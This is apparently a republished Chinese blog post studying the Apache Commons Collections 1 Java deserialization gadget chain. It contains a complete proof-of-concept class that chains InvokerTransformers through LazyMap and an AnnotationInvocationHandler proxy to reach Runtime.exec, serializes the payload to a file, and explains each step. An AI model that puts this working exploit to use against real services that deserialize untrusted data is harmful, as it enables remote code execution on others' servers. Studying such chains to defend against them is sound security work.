var4.entrySet().iterator() private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {GetField var2 = var1.readFields();Class var3 = (Class)var2.get("type", (Object)null);Map var4 = (Map)var2.get("memberValues", (Object)null);AnnotationType var5 = null;try {var5 = AnnotationType.getInstance(var3);} catch (IllegalArgumentException var13) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var6 = var5.memberTypes();LinkedHashMap var7 = new LinkedHashMap();String var10;Object var11;for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {Entry var9 = (Entry)var8.next();var10 = (String)var9.getKey();var11 = null;Class var12 = (Class)var6.get(var10);if (var12 != null) {var11 = var9.getValue();if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));}}}AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7); }POC
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;public class CommonCollection1 {public static void main(String[] args) throws Exception {//此處構(gòu)建了一個(gè)transformers的數(shù)組,在其中構(gòu)建了任意函數(shù)執(zhí)行的核心代碼Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})};//循環(huán)反射調(diào)用InvokerTransformer.transform()方法執(zhí)行RceTransformer transformerChain = new ChainedTransformer(transformers);//通過LazyMap的get方法調(diào)用ChainedTransformer.transform()方法Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);//反射創(chuàng)建AnnotationInvocationHandler方法,把惡意的LazyMap賦值給InvocationHandler,因?yàn)锳nnotationInvocationHandler實(shí)現(xiàn)了InvocationHandler接口Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));oos.writeObject(handler);}} }我們先來看第一段
反射創(chuàng)建AnnotationInvocationHandler類,實(shí)例化對象時(shí)把Retention.class、 outerMap傳給InvocationHandler接口,因?yàn)锳nnotationInvocationHandler實(shí)現(xiàn)了InvocationHandler方法
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);第二段動態(tài)代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);- 第一個(gè)參數(shù):People.getClass().getClassLoader(),使用handler對象的
classloader對象來加載我們的代理對象 - 第二個(gè)參數(shù):Person.getClass().getInterfaces(),這里為代理類提供的接口 是真實(shí)對象實(shí)現(xiàn)的接口,這樣代理對象就能像真實(shí)對象一樣調(diào)用接口中的所有方法
- 第三個(gè)參數(shù):我們將代理對象關(guān)聯(lián)到上面的InvocationHandler對象上
那么在這段poc的執(zhí)行中執(zhí)行反序列化的時(shí)候,服務(wù)器讀取了我們的惡意序列化文件,把他反序列化,AnnotationInvocationHandler重寫了readObject()方法,所以調(diào)用的是AnnotationInvocationHandler的readObject()方法。readObject()方法會去調(diào)用memberValues的entrySet()方法。這里的memberValues是構(gòu)造方法傳入進(jìn)來的參數(shù),我們是使用反射的方式對他進(jìn)行創(chuàng)建傳入的是proxyMap。
因?yàn)閜roxyMap是我們的代理對象,所以調(diào)用proxyMap的entrySet()會觸發(fā)到AnnotationInvocationHandler的invoke()方法進(jìn)行執(zhí)行。這也是動態(tài)代理的一個(gè)特性,代理對象調(diào)用任意方法,調(diào)用處理器中的invoke()方法都執(zhí)行一次。
執(zhí)行AnnotationInvocationHandler的invoke()方法后又會調(diào)用get方法,再次回到剛剛的地方了。
LazyMap 的get方法方法里面的this.factory為Transformer[]數(shù)組,這時(shí)候去調(diào)用就會執(zhí)行transform方法,而ChainedTransformer的transform方法又會去遍歷調(diào)用Transformer[]里面的transform方法,導(dǎo)致使用方式的方式傳入的Runtime調(diào)用了exec執(zhí)行了calc.exe彈出一個(gè)計(jì)算器
利用鏈
Gadget chain:ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()參考:
https://blog.csdn.net/adamjwh/p/9683705.html
https://www.anquanke.com/post/id/230788
https://blog.csdn.net/nice0e3/p/13779857.html
總結(jié)
以上是生活随笔為你收集整理的CommonCollection1反序列化链学习的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 再读《精通css》02:选择器
- 下一篇: 中国的码农们,沉睡了20年,该醒醒了